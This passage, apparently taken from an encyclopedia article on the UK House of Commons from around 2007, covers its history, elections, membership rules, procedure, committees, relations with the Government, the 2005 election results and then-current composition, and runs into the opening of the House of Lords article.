          Many more reforms were introduced in the latter half of the nineteenth century. The Reform Act 1867 lowered property requirements for voting in the boroughs, reduced the representation of the less populous boroughs, and granted parliamentary seats to several growing industrial towns. The electorate was further expanded by the Representation of the People Act 1884, under which property qualifications in the counties were lowered. The Redistribution of Seats Act of the following year replaced almost all multi-member constituencies with single-member constituencies.
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          Progress continued in the early twentieth century. In 1908, the Liberal Government under Asquith introduced a number of social welfare programmes, which, together with an expensive arms race, forced the Government to seek higher taxes. In 1909, the Chancellor of the Exchequer, David Lloyd George, introduced the "People's Budget", which proposed a new tax targeting wealthy landowners. The unpopular measure, however, failed in the heavily Conservative House of Lordsand the government resigned. The resulting general election returned a hung parliament, but Asquith remained Prime Minister with the support of the smaller parties. Asquith then proposed that the powers of the Lords be severely curtailed. After a further election in December 1910, the Asquith Government secured the passage of a bill to curtail the powers of the House of Lords after threatening to flood the House with 500 new Liberal peers to ensure the passage of the bill. Thus, the Parliament Act 1911 came into effect, destroying the legislative equality of the two Houses of Parliament. The House of Lords was permitted only to delay most legislation, for a maximum of three parliamentary sessions or two calendar years (reduced to two sessions or one year by the Parliament Act 1949). Since the passage of these Acts, the House of Commons has become the dominant branch of Parliament, both in theory and in practice.


          Since the 17th century, MPs had been unpaid. Most of the men elected to the Commons had private incomes, while a few relied on financial support from a wealthy patron. Early Labour MPs were often provided with a salary by a trade union, but this was declared illegal by a House of Lords judgement of 1910. Consequently a clause was included in the Parliament Act 1911 introducing salaries for MPs. Government ministers had always been paid.


          


          Members and elections


          Since 1948, each Member of Parliament represents a single constituency. There remains a technical distinction between county constituencies and borough constituencies, but the only effect of this difference is the amount of money candidates are allowed to spend during campaigns. The boundaries of the constituencies are determined by four permanent and independent Boundary Commissions, one each for England, Wales, Scotland, and Northern Ireland. The Commissions conduct general reviews of electoral boundaries once every 8 to 12 years, as well as a number of interim reviews. In drawing boundaries, they are required to take into account local government boundaries, but may deviate from this requirement in order to prevent great disparities in the populations of the various constituencies. The proposals of the Boundary Commissions are subject to parliamentary approval, but may not be amended. After the next general review of constituencies, the Boundary Commissions will be absorbed into the Electoral Commission, which was established in 2000. Currently the United Kingdom is divided into 646 constituencies, with 529 in England, 40 in Wales, 59 in Scotland, and 18 in Northern Ireland.


          General elections occur whenever Parliament is dissolved by the Sovereign. The timing of the dissolution is normally chosen by the Prime Minister (see relationship with the Government below); however, a parliamentary term may not last for more than five years, unless a Bill extending the life of Parliament passes both Houses and receives Royal Assent. The House of Lords, exceptionally, retains its power of veto over such a Bill.


          The date of a General Election is the choice of the Prime Minister, but traditionally, it tends to be a Thursday. Each candidate must submit nomination papers signed by ten registered voters from the constituency, and pay a deposit of 500, which is refunded only if the candidate wins at least five per cent of the vote. The deposit seeks to discourage frivolous candidates. Each constituency returns one Member, using the first-past-the-post electoral system, under which the candidate with a plurality of votes wins. Minors, Members of the House of Lords, prisoners, and insane persons are not qualified to become Members of the House of Commons. In order to vote, one must be a resident of the United Kingdom as well as a citizen of the United Kingdom, of a British overseas territory, of the Republic of Ireland, or of a member of the Commonwealth of Nations. British citizens living abroad are allowed to vote for 15 years after moving from the United Kingdom. No person may vote in more than one constituency.


          Once elected, Members of Parliament normally continue to serve until the next dissolution of Parliament. If a Member, however, dies or ceases to be qualified (see qualifications below), his or her seat falls vacant. It is also possible for the House of Commons to expel a Member, but this power is exercised only in cases of serious misconduct or criminal activity. In each case, a vacancy may be filled by a by-election in the appropriate constituency, with the same electoral system as in general elections.


          The term "Member of Parliament" is normally used only to refer to Members of the House of Commons, even though the House of Lords is also a part of Parliament. Members of the House of Commons may use the post-nominal letters "MP". The annual salary of each Member is currently 59,095. Members may also receive additional salaries in right of other offices they hold (for instance, the Speakership). Most Members also claim between 100,000 and 150,000 for various office expenses (staff costs, postage, travelling, etc.) and, in the case of non-London Members, for the costs of maintaining a home in the capital.


          


          Qualifications


          There are numerous qualifications that apply to Members of Parliament. Most importantly, one must be aged at least 18 (the limit was 21 until S.17 of the Electoral Administration Act 2006 came into force), and must be a citizen of the United Kingdom, of a British overseas territory, of the Republic of Ireland, or of a member state of the Commonwealth of Nations. These restrictions were introduced by the British Nationality Act 1981, but were previously far more stringent: under the Act of Settlement 1701, only natural-born subjects were qualified. Members of the House of Lords may not serve in the House of Commons, or even vote in parliamentary elections; however, they are permitted to sit in the chamber during debates.


          A person may not sit in the Commons if he or she is the subject of a Bankruptcy Restrictions Order (applicable in England and Wales only), or if he or she is adjudged bankrupt (in Northern Ireland), or if his or her estate is sequestered (in Scotland). Also, lunatics are ineligible to sit in the House of Commons. Under the Mental Health Act 1983, two specialists must report to the Speaker that a Member is suffering from mental illness before a seat can be declared vacant. There also exists a common law precedent from the 18th century that the "deaf and dumb" are ineligible to sit in the Lower House; this precedent, however, has not been tested in recent years. Jack Ashley continued to serve as an MP for 25 years after becoming profoundly deaf.


          Anyone found guilty of high treason may not sit in Parliament until he or she has either completed the term of imprisonment, or received a full pardon from the Crown. Moreover, anyone serving a prison sentence of one year or more is ineligible. Finally, the Representation of the People Act 1983 disqualifies for ten years those found guilty of certain election-related offences. Several other disqualifications are codified in the House of Commons Disqualification Act 1975: holders of high judicial offices, civil servants, members of the regular armed forces, members of foreign legislatures (excluding the Republic of Ireland and Commonwealth countries), and holders of several Crown offices. Ministers, even though they are paid officers of the Crown, are not disqualified.


          The rule that precludes certain Crown officers from serving in the House of Commons is used to circumvent a resolution adopted by the House of Commons in 1623, under which Members are not permitted to resign their seats. In practice, however, they always can. Should a Member wish to resign from the Commons, he may request appointment to one of two ceremonial Crown offices: that of Crown Steward and Bailiff of the Chiltern Hundreds, or that of Crown Steward and Bailiff of the Manor of Northstead. These offices are sinecures (that is, they involve no actual duties); they exist solely in order to permit the "resignation" of Members of the House of Commons. The Chancellor of the Exchequer is responsible for making the appointment, and, by convention, never refuses to do so when asked by a Member who desires to leave the House of Commons.


          


          Officers
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          The House of Commons elects a presiding officer, known as the Speaker, at the beginning of each new parliamentary term. If the incumbent Speaker seeks a new term, then the House may re-elect him or her merely by passing a motion; otherwise, a secret ballot is held. A Speaker-elect cannot take office until he or she has been approved by the Sovereign; the granting of the royal approbation, however, is a formality. The Speaker is assisted by three Deputy Speakers, the most senior of which holds the title of Chairman of Ways and Means. The two other Deputy Speakers are known as the First and Second Deputy Chairman of Ways and Means. These titles derive from the Committee of Ways and Means, a body over which the Chairman once used to preside; even though the Committee was abolished in 1967, the traditional titles of the Deputy Speakers are still retained. The Speaker and the Deputy Speakers are always Members of the House of Commons.


          Whilst presiding, the Speaker or Deputy Speaker wears a ceremonial black robe. The presiding officer may also wear a wig, but this tradition has been abandoned by the present Speaker, Michael Martin, and by his predecessor, Betty Boothroyd. The Speaker or deputy presides from a chair at the front of the House. The Speaker is also chairman of the House of Commons Commission, which oversees the running of the House, and he or she controls debates by calling on members to speak. If a member believes that a rule (or Standing Order) has been breached, he or she may raise a "point of order," on which the Speaker makes a ruling that is not subject to any appeal. The Speaker may discipline members who fail to observe the rules of the House. Thus, the Speaker is far more powerful than his Lords counterpart, the Lord Speaker, who has no disciplinary powers. Customarily, the Speaker and the deputies are non-partisan; they do not vote, or participate in the affairs of any political party. By convention, a Speaker seeking re-election to parliament is not opposed in his or her constituency by any of the major parties. The lack of partisanship continues even after the Speaker leaves the House of Commons.


          The Clerk of the House is both the House's chief adviser on matters of procedure and Chief Executive of the House of Commons. He is a permanent official, not a Member of the House itself. The Clerk advises the Speaker on the rules and procedure of the House, signs orders and official communications, and signs and endorses bills. He chairs the Board of Management, which consists of the heads of the six departments of the House. The Clerk's deputy is known as the Clerk Assistant. Another officer of the House is the Serjeant-at-Arms, whose duties include the maintenance of law, order, and security on the House's premises. The Serjeant-at-Arms carries the ceremonial Mace, a symbol of the authority of the Crown and of the House of Commons, into the House each day in front of the Speaker, and the Mace is laid upon the Table of the House during sittings. The Librarian is head of the House of Commons Library, the House's research and information arm.


          


          Procedure


          Like the Lords, the Commons meets in the Palace of Westminster in London. The Commons chamber is small and modestly decorated in green, in contrast with the large, lavishly furnished red Lords chamber. There are benches on two sides of the chamber, divided by a centre aisle. This arrangement reflects the design of St Stephen's Chapel, which served as the home of the House of Commons until destroyed by fire in 1834. The Speaker's chair is at one end of the Chamber; in front of it is the Table of the House, on which the Mace rests. The Clerks sit at one end of the Table, close to the Speaker so that they may advise him or her on procedure when necessary. Members of the Government sit on the benches on the Speaker's right, whilst members of the Opposition occupy the benches on the Speaker's left. In front of each set of benches, a red line is drawn on the carpetand members are traditionally not allowed to cross the line during debates. The red lines in front of the two sets of benches are said to be set two sword-lengths apart; a Member is thus supposed to be unable to attack an individual on the opposite side. This, however, is a picturesque fiction. Government ministers and important Opposition leaders sit on the front rows, and are known as "frontbenchers". Other Members of Parliament, in contrast, are known as "backbenchers". Oddly, all Members of Parliament cannot fit in the Chamber, which can seat only 427 of the 646 Members. Members who arrive late must stand near the entrance of the House if they wish to listen to debates. Sittings in the Chamber are held each day from Monday to Thursday, and also on some Fridays. During times of national emergency, the House may also sit at weekends.


          Sittings of the House are open to the public, but the House may at any time vote to sit in private. (This has been done only twice since 1950.) Traditionally, a Member who desired that the House sit privately could shout "I spy strangers" and a vote would automatically follow. In the past, when relations between the Commons and the Crown were less than cordial, this procedure was used whenever the House wanted to keep its debate private. More often, however, this device was used to delay and disrupt proceedings; as a result, it was abolished in 1998. Now, Members seeking that the House sit in private must make a formal motion to that effect. Public debates are broadcast on the radio, and on television by BBC Parliament, and are recorded in Hansard.


          Sessions of the House of Commons have sometimes been disrupted by angry protesters throwing objects into the Chamber from the galleriesitems thrown include leaflets, manure, flour (see Fathers 4 Justice House of Commons protest), and a canister of chlorobenzylidene malonitrile (tear gas). Even members have been known to disturb proceedings of the House; for instance, in 1976, Conservative MP Michael Heseltine seized and brandished the Mace of the House during a heated debate. However, perhaps the most famous disruption of the House of Commons was caused by King Charles I, who entered the Commons Chamber in 1642 with an armed force in order to arrest five members for high treason. This action was deemed a breach of the privilege of the House, and has given rise to the tradition that the monarch may not set foot in the House of Commons.


          Each year, the parliamentary session begins with the State Opening of Parliament, a ceremony in the Lords Chamber during which the Sovereign, in the presence of Members of both Houses, delivers an address outlining the Government's legislative agenda. The Gentleman Usher of the Black Rod (a Lords official) is responsible for summoning the Commons to the Lords Chamber. When he arrives to deliver his summons, the doors of the Commons Chamber are traditionally slammed shut in his face, symbolising the right of the Lower House to debate without interference. The Gentleman Usher then knocks on the door thrice with his Black Rod, and only then is granted admittance. He then informs the MPs that the Monarch awaits them, and they proceed to the House of Lords for the Queen's Speech.


          During debates, Members may speak only if called upon by the Speaker (or a Deputy Speaker, if the Speaker is not presiding). Traditionally, the presiding officer alternates between calling Members from the Government and Opposition. The Prime Minister, the Leader of the Opposition, and other leaders from both sides are normally given priority. Formerly, all Privy Counsellors were also granted priority; however, the modernisation of Commons procedure in 1998 led to the abolition of this tradition.


          Speeches are addressed to the presiding officer, using the words "Mr Speaker," "Madam Speaker," "Mr Deputy Speaker," or "Madam Deputy Speaker." Only the presiding officer may be directly addressed in debate; other Members must be referred to in the third person. Traditionally, Members do not refer to each other by name, but by constituency, using forms such as "the Honourable Member for [constituency]," or, in the case of Privy Counsellors, "the Right Honourable Member for [constituency]." Mostly, members of the House refer to each other as "my Honourable friend". The Speaker enforces the rules of the House, and may warn and punish Members who deviate from them. Disregarding the Speaker's instructions is considered a severe breach of the rules of the House, and may result in the suspension of the offender from the House. In the case of grave disorder, the Speaker may adjourn the House without taking a vote.


          The Standing Orders of the House of Commons do not establish any formal time limits for debates. The Speaker may, however, order a Member who persists in making a tediously repetitive or irrelevant speech to stop speaking. The time set aside for debate on a particular motion is, however, often limited by informal agreements between the parties. Debate may also be restricted by the passage of "Allocation of Time Motions", which are more commonly known as " Guillotine Motions". Alternatively, the House may put an immediate end to debate by passing a motion to invoke the Closure. The Speaker is allowed to deny the motion if he or she believes that it infringes upon the rights of the minority. Today, Bills are scheduled according to a Timetable Motion, which the whole House agrees in advance, obviating use of the guillotine.


          When the debate concludes, or when the Closure is invoked, the motion in question is put to a vote. The House first votes by voice vote; the Speaker or Deputy Speaker puts the question, and Members respond either "Aye" (in favour of the motion) or "No" (against the motion). The presiding officer then announces the result of the voice vote, but if his or her assessment is challenged by any Member or the voice vote is unclear, a recorded vote known as a division follows. (The presiding officer, if he or she believes that the result of the voice vote is clear, may reject the challenge.) When a division occurs, members enter one of two lobbies (the "Aye" lobby or the "No" lobby) on either side of the Chamber, where their names are recorded by clerks. At each lobby are two tellers (themselves Members of the House) who count the votes of the members.


          Once the division concludes, the tellers provide the results to the presiding officer, who then announces them to the House. If there is an equality of votes, the Speaker or Deputy Speaker has a casting vote. Traditionally, this casting vote is exercised to allow further debate, if this is possible, or otherwise to avoid a decision being taken without a majority (e.g. voting No to a motion or the third reading of a bill). Ties rarely occurthe last one was in July 1993. The quorum of the House of Commons is 40 members for any vote. If fewer than 40 members have participated, the division is invalid.


          Formerly, if a Member sought to raise a point of order during a division, suggesting that some of the rules governing parliamentary procedure are violated, he was required to wear a hat, thereby signaling that he was not engaging in debate. Collapsible top hats were kept in the Chamber just for this purpose. This custom was discontinued in 1998.


          The outcome of most votes is largely known beforehand, since political parties normally instruct members on how to vote. A party normally entrusts some Members of Parliament, known as whips, with the task of ensuring that all party members vote as desired. Members of Parliament do not tend to vote against such instructions, since those who do so jeopardise promotion, or may be deselected as party candidates for future elections. Ministers, junior ministers and parliamentary private secretaries who vote against the whips' instructions usually resign. Thus, the independence of Members of Parliament tends to be low, although "backbench rebellions" by members discontent with their party's policies do occur. A member is also traditionally allowed some leeway if the interests of her/his constituency are adversely affected. In some circumstances, however, parties announce " free votes", allowing members to vote as they please. Votes relating to issues of conscience such as abortion and capital punishment are typically free votes.


          


          Committees


          The Parliament of the United Kingdom uses committees for a variety of purposes, e.g. for the review of bills. Committees consider bills in detail, and may make amendments. Bills of great constitutional importance, as well as some important financial measures, are usually sent to the "Committee of the Whole House", a body that includes all members of the Commons. Instead of the Speaker, the Chairman or a Deputy Chairman of Ways and Means presides. The Committee meets in the House of Commons Chamber.


          Most bills were until 2006 considered by Standing Committees, which consisted of between 16 and 50 members. The membership of each Standing Committee roughly reflected the strength of the parties in the House. The membership of Standing Committees changed constantly; new Members were assigned each time the committee considered a new bill. There was no formal limit on the number of Standing Committees, but usually only ten existed. Rarely, a bill was committed to a Special Standing Committee, which investigated and held hearings on the issues raised. In November 2006, Standing Committees were replaced by Public Bill Committees.


          The House of Commons also has several Departmental Select Committees. The membership of these bodies, like that of the Standing Committees, reflects the strength of the parties. Each committee elects its own Chairman. The primary function of a Departmental Select Committee is to scrutinise and investigate the activities of a particular government department. To fulfil these aims, it is permitted to hold hearings and collect evidence. Bills may be referred to Departmental Select Committees, but such a procedure is seldom used.


          A separate type of Select Committee is the Domestic Committee. Domestic Committees oversee the administration of the House and the services provided to Members. Other committees of the House of Commons include Joint Committees (which also include members of the House of Lords), the Committee on Standards and Privileges (which considers questions of parliamentary privilege, as well as matters relating to the conduct of the members), and the Committee of Selection (which determines the membership of other committees).


          


          Legislative functions


          Bills may be introduced in either house, though controversial bills normally originate in the House of Commons.


          The supremacy of the Commons in legislative matters is assured by the Parliament Acts, under which certain types of bills may be presented for the Royal Assent without the consent of the House of Lords. The Lords may not delay a money bill (a bill that, in the view of the Speaker of the House of Commons, solely concerns national taxation or public funds) for more than one month. Moreover, the Lords may not delay most other public bills for more than two parliamentary sessions, or one calendar year. These provisions, however, only apply to public bills that originate in the House of Commons. Moreover, a bill that seeks to extend a parliamentary term beyond five years requires the consent of the House of Lords.


          By a custom that prevailed even before the Parliament Acts, only the House of Commons may originate bills concerning taxation or Supply. Furthermore, supply bills passed by the House of Commons are immune to amendments in the House of Lords. In addition, the House of Lords is barred from amending a bill so as to insert a taxation or supply-related provision, but the House of Commons often waives its privileges and allows the Lords to make amendments with financial implications. Under a separate convention, known as the Salisbury Convention, the House of Lords does not seek to oppose legislation promised in the Government's election manifesto. Hence, as the power of the House of Lords has been severely curtailed by statute and by practice, the House of Commons is clearly the more powerful branch of Parliament.


          


          Relationship with the Government


          Although it does not elect the Prime Minister, the position of the parties in the House of Commons is of overriding importance. By convention the Prime Minister is answerable to, and must maintain the support of, the House of Commons. Thus, whenever the office of Prime Minister falls vacant, the Sovereign appoints the person most likely to command the support of the Housenormally the leader of the largest party in the Commons. (The leader of the second-largest party becomes the Leader of the Opposition.) In modern times, by convention, the Prime Minister is always a member of the House of Commons, rather than the House of Lords.


          The Lower House may indicate its lack of support for the Government by rejecting a Motion of Confidence, or by passing a Motion of No Confidence. Confidence and no confidence motions are sometimes phrased explicitly, for instance: "That this House has no confidence in Her Majesty's Government." Many other motions are considered confidence issues, even though not explicitly phrased as such. In particular, important bills that form a part of the Government's agenda are generally considered matters of confidence, as is the annual Budget. When a Government has lost the confidence of the House of Commons, the Prime Minister is obliged to either resign, or request the monarch to dissolve Parliament, thereby precipitating a general election.


          Except when compelled to do so by an adverse vote on a confidence issue, the Prime Minister is allowed to choose the timing of dissolutions with the permission of the Monarch, and consequently the timing of general elections. The timing reflects political considerations, and is generally most opportune for the Prime Minister's party. However, no parliamentary term can last for more than five years; a dissolution is automatic upon the expiry of this period unless an act of Parliament is passed extending the maximum term as happened during both World Wars. Parliament almost never sits for the maximum possible term, with dissolutions customarily being requested earlier.


          A Prime Minister may resign even if he or she is not defeated at the polls (for example, for personal health reasons); in such a case, the premiership goes to the new leader of the outgoing Prime Minister's party. Until 1965, the Conservative Party had no mechanism for electing a new leader and when Anthony Eden resigned as PM in 1957 without recommending a successor, the party was unable to nominate one. It fell to the Queen to appoint Harold Macmillan as the new Prime Minister, after taking the advice of ministers.


          By convention, all ministers must be members of the House of Commons or House of Lords. A handful have been appointed who are outside Parliament but in most cases they subsequently entered Parliament either by means of a by-election or receiving a peerage. Since 1902, all Prime Ministers have been members of the Commons (the sole exception, the Earl of Home, disclaimed his peerage days after becoming Prime Minister, and was immediately elected to the House of Commons as Sir Alec Douglas-Home).


          In modern times, a vast majority of ministers belong to the Commons rather than the Lords. No major cabinet position (except Lord Privy Seal, Lord Chancellor and Leader of the House of Lords) has been filled by a Lord since Lord Carrington resigned as Foreign Secretary in 1982. The elected status of members of the Commons, as opposed to the unelected nature of members of the Lords, is seen to lend more legitimacy to ministers. The Prime Minister chooses the Ministers, and may decide to remove them at any time; the formal appointment or dismissal, however, is made by the Sovereign.


          The House of Commons scrutinises the Government through " Question Time", during which members have the opportunity to ask questions of the Prime Minister and of other cabinet ministers. Prime Minister's question time occurs once each week, normally for a half-hour each Wednesday. Questions must relate to the responding Minister's official Government activities, not to his or her activities as a party leader or as a private Member of Parliament. Customarily, members of the Government party and members of the Opposition alternate when asking questions. In addition to questions asked orally during Question Time, Members of Parliament may also make inquiries in writing.


          In practice, the House of Commons' scrutiny of the Government is fairly weak. Since the first-past-the-post electoral system is employed, the governing party tends to enjoy a large majority in the Commons, and there is often little need to compromise with other parties. Modern British political parties are so tightly organised that they leave relatively little room for free action by their MPs. Thus, during the 20th century, the Government has lost confidence issues only thrice  twice in 1924, and once in 1979. However, the threat of rebellions by their own party's backbench MPs often forces Governments to make concessions (recently over top-up fees and foundation hospitals). Occasionally the Government is defeated by backbench rebellions ( Terrorism Act 2006). However, the scrutiny provided by the Select Committees is more serious.


          The House of Commons technically retains the power to impeach Ministers of the Crown (or any other subject, even if not a public officer) for their crimes. Impeachments are tried by the House of Lords, where a simple majority is necessary to convict. The power of impeachment, however, has fallen into disuse: the House of Commons exercises its checks on the Government through other means, such as No Confidence Motions; the last impeachment was that of Viscount Melville in 1806.


          


          Latest election


          
            
              Summary of the 5 May 2005 House of Commons of the United Kingdom election results
            

            
              	Parties

              This table indicates those parties with over 500 votes nationwide

              	Seats

              	Gains

              	Losses

              	Net

              Gain/Loss

              	Seats%

              	Votes%

              	Votes

              	+/-
            


            
              	

              	Labour

              	356

              	0

              	47

              	-47

              	55.2

              	35.3

              	9,562,122

              	-5.4%
            


            
              	

              	Conservative

              	198

              	36

              	3

              	+33

              	30.7

              	32.3

              	8,772,598

              	+0.6%
            


            
              	

              	Liberal Democrat

              	62

              	16

              	5

              	+11

              	9.6

              	22.1

              	5,981,874

              	+3.7%
            


            
              	

              	UK Independence

              	0

              	0

              	0

              	0

              	0

              	2.2

              	603,298

              	+0.8%
            


            
              	

              	Scottish National Party

              	6

              	2

              	0

              	+2

              	0.9

              	1.5

              	412,267

              	-0.3%
            


            
              	

              	Green

              	0

              	0

              	0

              	0

              	0

              	1.0

              	257,758

              	+0.4%
            


            
              	

              	DUP

              	9

              	4

              	0

              	+4

              	1.4

              	0.9

              	241,856

              	+0.2%
            


            
              	

              	British National Party

              	0

              	0

              	0

              	0

              	0

              	0.7

              	192,746

              	+0.5%
            


            
              	

              	Plaid Cymru

              	3

              	0

              	1

              	-1

              	0.5

              	0.6

              	174,838

              	-0.1%
            


            
              	

              	Sinn Fin

              	5

              	1

              	0

              	+1

              	0.8

              	0.6

              	174,530

              	-0.1%
            


            
              	

              	Ulster Unionist

              	1

              	0

              	5

              	-5

              	0.2

              	0.5

              	127,414

              	-0.3%
            


            
              	

              	Social Democratic and Labour

              	3

              	1

              	1

              	0

              	0.5

              	0.5

              	125,626

              	-0.1%
            


            
              	

              	Independent

              	1

              	1

              	0

              	0

              	0.2

              	0.5

              	122,000

              	+0.1%
            


            
              	

              	Respect

              	1

              	1

              	0

              	+1

              	0.2

              	0.3

              	68,094

              	N/A
            


            
              	

              	Scottish Socialist

              	0

              	0

              	0

              	0

              	0

              	0.2

              	43,514

              	-0.1%
            


            
              	

              	Veritas

              	0

              	0

              	0

              	0

              	0

              	0.1

              	40,481

              	N/A
            


            
              	

              	Alliance

              	0

              	0

              	0

              	0

              	0

              	0.1

              	28,291

              	0.0%
            


            
              	

              	Scottish Green

              	0

              	0

              	0

              	0

              	0

              	0.1

              	25,760

              	+0.1%
            


            
              	

              	Socialist Labour

              	0

              	0

              	0

              	0

              	0

              	0.1

              	20,192

              	0.0%
            


            
              	

              	Liberal

              	0

              	0

              	0

              	0

              	0

              	0.1

              	19,068

              	0.0%
            


            
              	

              	Health Concern

              	1

              	0

              	0

              	0

              	0.2

              	0.1

              	18,739

              	0.0%
            


            
              	

              	English Democrats

              	0

              	0

              	0

              	0

              	0

              	0.1

              	14,506

              	N/A
            


            
              	

              	Socialist Alternative

              	0

              	0

              	0

              	0

              	0

              	0.0

              	9,398

              	N/A
            


            
              	

              	National Front

              	0

              	0

              	0

              	0

              	0

              	0.0

              	8,029

              	N/A
            


            
              	

              	Legalise Cannabis

              	0

              	0

              	0

              	0

              	0

              	0.0

              	6,985

              	0.0%
            


            
              	

              	Community Action

              	0

              	0

              	0

              	0

              	0

              	0.0

              	6,557

              	N/A
            


            
              	

              	Monster Raving Loony

              	0

              	0

              	0

              	0

              	0

              	0.0

              	6,311

              	0.0%
            


            
              	

              	Christian Vote

              	0

              	0

              	0

              	0

              	0

              	0.0

              	4,004

              	N/A
            


            
              	

              	Mebyon Kernow

              	0

              	0

              	0

              	0

              	0

              	0.0

              	3,552

              	0.0%
            


            
              	

              	Forward Wales

              	0

              	0

              	0

              	0

              	0

              	0.0

              	3,461

              	N/A
            


            
              	

              	Christian Peoples

              	0

              	0

              	0

              	0

              	0

              	0.0

              	3,291

              	N/A
            


            
              	

              	Rainbow Dream Ticket

              	0

              	0

              	0

              	0

              	0

              	0.0

              	2,463

              	N/A
            


            
              	

              	Community Group

              	0

              	0

              	0

              	0

              	0

              	0.0

              	2,365

              	N/A
            


            
              	

              	Ashfield Independents

              	0

              	0

              	0

              	0

              	0

              	0.0

              	2,292

              	N/A
            


            
              	

              	Alliance for Green Socialism

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,978

              	N/A
            


            
              	

              	Residents

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,850

              	N/A
            


            
              	

              	Workers' Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,669

              	0.0%
            


            
              	

              	Socialist Environmental

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,649

              	N/A
            


            
              	

              	Scottish Unionist

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,266

              	0.0%
            


            
              	

              	Workers' Revolutionary

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,143

              	0.0%
            


            
              	

              	New England

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,224

              	N/A
            


            
              	

              	Communist

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,124

              	0.0%
            


            
              	

              	Community Group

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,118

              	N/A
            


            
              	

              	Peace and Progress

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,036

              	N/A
            


            
              	

              	Scottish Senior Citizens

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,017

              	N/A
            


            
              	

              	Your Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	1,006

              	N/A
            


            
              	

              	SOS! Northampton

              	0

              	0

              	0

              	0

              	0

              	0.0

              	932

              	N/A
            


            
              	

              	Independent Working Class

              	0

              	0

              	0

              	0

              	0

              	0.0

              	892

              	N/A
            


            
              	

              	Democratic Labour

              	0

              	0

              	0

              	0

              	0

              	0.0

              	770

              	N/A
            


            
              	

              	British Public Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	763

              	N/A
            


            
              	

              	Free Scotland Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	743

              	N/A
            


            
              	

              	Pensioners Party Scotland

              	0

              	0

              	0

              	0

              	0

              	0.0

              	716

              	N/A
            


            
              	

              	Publican Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	678

              	N/A
            


            
              	

              	English Independence Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	654

              	N/A
            


            
              	

              	Socialist Unity

              	0

              	0

              	0

              	0

              	0

              	0.0

              	581

              	N/A
            


            
              	

              	Local Community Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	570

              	N/A
            


            
              	

              	Clause 28

              	0

              	0

              	0

              	0

              	0

              	0.0

              	516

              	N/A
            


            
              	

              	UK Community Issues Party

              	0

              	0

              	0

              	0

              	0

              	0.0

              	502

              	N/A
            


            
              	Total

              	646

              	

              	

              	

              	

              	

              	27,110,727

              	
            

          


          


          Current composition


          
            
              	Affiliation

              	Members

            


            
              	

              	Labour Party

              	352 1 2 3 4
            


            
              	

              	Conservative Party

              	194 3 5
            


            
              	

              	Liberal Democrats

              	63 2
            


            
              	

              	Democratic Unionist Party

              	9
            


            
              	

              	Scottish National Party

              	6
            


            
              	

              	Sinn Fin

              	5 6
            


            
              	

              	Plaid Cymru

              	3
            


            
              	

              	Social Democratic and Labour Party

              	3
            


            
              	

              	Independents


              	2 4 7
            


            
              	

              	Ulster Unionist Party

              	1
            


            
              	

              	RESPECT The Unity Coalition

              	1
            


            
              	

              	Health Concern


              	1
            


            
              	

              	Independent Conservative


              	1 5
            


            
              	

              	Independent Labour


              	1 1
            


            
              	

              	Speaker and Deputies


              	4 8
            


            
              	

              	Vacant


              	0
            


            
              	Total


              	646
            


            
              	Government Majority


              	62
            

          


          
            	1 Clare Short resigned the Labour whip on 20 October 2006.


            	2 Labour lost Dunfermline & West Fife to Lib Dems


            	3 Quentin Davies crossed the floor on 26 June, 2007 " Conservative MP defects to Labour", BBC News online.


            	4 Bob Waring resigned whip from Labour, 17th September, 2007 " Rejected MP Bob Wareing vows to stand as an independent", Liverpool Daily Post online.


            	5 Andrew Pelling currently suspended from the Conservatives, 19th September, 2007 " MP quizzed over 'assault on wife'", BBC News online.


            	6Sinn Fin's policy of abstaining from participation in the House of Commons precludes its MPs from taking their seats.


            	7 Dai Davies, elected as an Independent in the Blaenau Gwent constituency. Richard Taylor is accounted for under Health Concern.


            	8 Two Labour and two Conservative.

          


          


          The chamber in film and television


          In 1986, the British television production company Granada Television created a near-full size replica of the post-1950 House of Commons debating chamber at its studios in Manchester for use in its adaptation of the Jeffrey Archer novel First Among Equals. The set was highly convincing, and was retained after the productionsince then, it has been used in nearly every British film and television production that has featured scenes set in the chamber. From 1988 until 1999 it was also one of the prominent attractions on the Granada Studios Tour, where visitors could watch actors performing mock political debates on the set.


          In 2002, the set was purchased by the scriptwriter Paul Abbott so that it could be used in his BBC drama serial State of Play. Abbott, a former Granada Television staff writer, bought it personally as the set would otherwise have been destroyed and he feared it would take too long to get the necessary money from the BBC. He currently keeps it in storage in Oxford.


          The post-1941 Commons Chamber was used in the film Ali G Indahouse, the political satire Restart by Komedy Kollective, about a British prime minister seeking re-election, and in the Robin Williams stand-up special Robin Williams Live on Broadway in which he describes it as "like Congress, but with a two drink minimum".


          The pre-1941 Chamber was recreated in Shepperton Studios for the Ridley Scott/ Richard Loncraine 2002 biopic on Churchill, The Gathering Storm.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/House_of_Commons_of_the_United_Kingdom"
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              	The Right Honourable the Lords Spiritual and Temporal of the United Kingdom of Great Britain and Northern Ireland in Parliament assembled
            


            
              	
                
                  
                    	[image: ]
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              	Type

              	Upper House
            


            
              	Lord Speaker


              	Baroness Hayman, ( Non-affiliated)

              since July 4, 2006
            


            
              	Leader

              	Baroness Ashton of Upholland, (Labour)

              since June 27, 2007
            


            
              	Opposition Leader

              	Lord Strathclyde, (Conservative)

              since December 3, 1998
            


            
              	Members

              	738
            


            
              	Political groups

              	Labour Party

              Conservative Party

              Cross Benchers

              Liberal Democrats

              Lords Spiritual

              United Kingdom Independence Party

              Green Party of England and Wales

              12 Non-affiliated peers
            


            
              	Last elections

              	December 3, 1998
            


            
              	Meeting place

              	House of Lords Chamber

              Palace of Westminster

              Westminster

              London

              United Kingdom
            


            
              	Web site

